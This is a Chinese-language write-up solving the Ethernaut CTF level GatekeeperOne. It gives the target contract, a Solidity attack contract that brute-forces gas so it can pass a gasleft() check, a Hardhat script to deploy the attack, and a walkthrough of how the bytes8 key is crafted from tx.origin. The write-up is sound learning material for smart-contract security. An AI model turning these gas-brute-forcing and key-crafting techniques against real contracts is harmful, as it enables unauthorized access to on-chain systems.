Openzeppelin区块链CTF练习——答案和超详细解析【14】GataKeeperOne
openzeppelin出的CTF练习题https://ethernaut.openzeppelin.com/level/0xb5858B8EDE0030e46C0Ac1aaAedea8Fb71EF423C
1、题目
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
console.log(gasleft());
_;
}
modifier gateThree(bytes8 _gateKey) {
require(
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
"GatekeeperOne: invalid gateThree part one"
);
require(
uint32(uint64(_gateKey)) != uint64(_gateKey),
"GatekeeperOne: invalid gateThree part two"
);
require(
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)),
"GatekeeperOne: invalid gateThree part three"
);
_;
}
function enter(
bytes8 _gateKey
) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
2、答案,解析在后面
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
contract GatakeeperOne_Attack {
bool succeeded = false;
function attack(bytes8 key) public {
address bugAddress = 0xdb13dE77289379d502652084694c0ba5245F61E7;
// bytes8 key = 0x541884e600002896;
for (uint256 i = 0; i < 8191; i++) {
(bool success, ) = address(bugAddress).call{gas: i + 8191 * 9}(
abi.encodeWithSignature("enter(bytes8)", key)
);
if (success) {
succeeded = success;
break;
}
}
}
}
js运行脚本
const { ethers } = require("hardhat");
// 主部署函数。
async function main() {
//从 ethers 提供的 signers 中获取签名者。
const [deployer] = await ethers.getSigners();
console.log(`使用账户部署合约: ${deployer.address}`);
// 使用 provider 获取账户余额
const provider = ethers.provider;
let balance = await provider.getBalance(deployer.address);
console.log("Account balance:", ethers.formatEther(balance), "ETH");
//部署攻击合约
const attackFactory = await ethers.getContractFactory("GatakeeperOne_Attack");
const attack = await attackFactory.deploy();
const attackAddress = await attack.getAddress();
console.log(`Attack合约 部署在 ${attackAddress}`);
//执行攻击;
const bytes8Data = "0x0000ffff00002896";
await attack.attack(bytes8Data);
balance = await provider.getBalance(deployer.address);
console.log("Account balance 2:", ethers.formatEther(balance), "ETH");
}
// 执行主函数并处理可能的结果。
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
记得点击 submit Instance
3、解析
第一关 需要msg.sender(:此函数的调用者)不能是tx.origin(:最初发起交易的外部账户地址)
解决方法: 因此我们需要通过合约去调用enter()函数。
第二关 表示在运行到第14句代码时,剩余gas费要是8191的倍数。
解决方案: 设置初始gas为8191的倍数,然后for循环逐一增加gas,循环8191次。
第三关
1. 需要 64位的gatekey强制转换成32位和16位数值一样。
bytes8: 0x xxxx xxxx xxxx xxxx
uint64: 0x xxxx xxxx xxxx
uint16: 0x xxxx
uint32: 0x xxxx xxxx
需要uint16 = uint32,由于uint16 强制转换成uint32 时,后面4位都会变成0
解决方法: 条件1: 因此需要bytes8第5-8位为0,就能满足
2. 需要强制转换32位和64位不一样
uint32: 0x xxxx xxxx
uint64: 0x xxxx xxxx xxxx
uint64 转成 uint32 => 0x 0000 xxxx xxxx
解决方法:
条件2: 0x xxxx xxxx xxxx xxxx 只要9-12位不都为0就满足
3. 需要最初调用者地址 强转 成32位等于16位
uint32: 0x xxxx xxxx
uint16: 0x xxxx
uint16 转成 uint32 => 0x 0000 xxxx
需要uint16 = uint32,而uint16 = uint16(uint160(tx.origin)),可以用计算器算一下
例如:tx.origin = 0x59562Af21b300747398ef885541884e68Af52896
那么uint16 = 0x 2896
解决方法:
条件3: 0x xxxx xxxx xxxx xxxx 1-4位为2896就满足
根据三个条件
条件1: 0x xxxx xxxx 0000 xxxx 因此需要bytes8第5-8位为0,就能满足
条件2: 0x xxxx xxxx(非0) xxxx xxxx 只要9-12位不都为0就满足
条件3: 0x xxxx xxxx xxxx 2896 1-4位为2896就满足
可以得出
bytes8 = 0x xxxx xxxx 0000 2896 // xxxx为任意数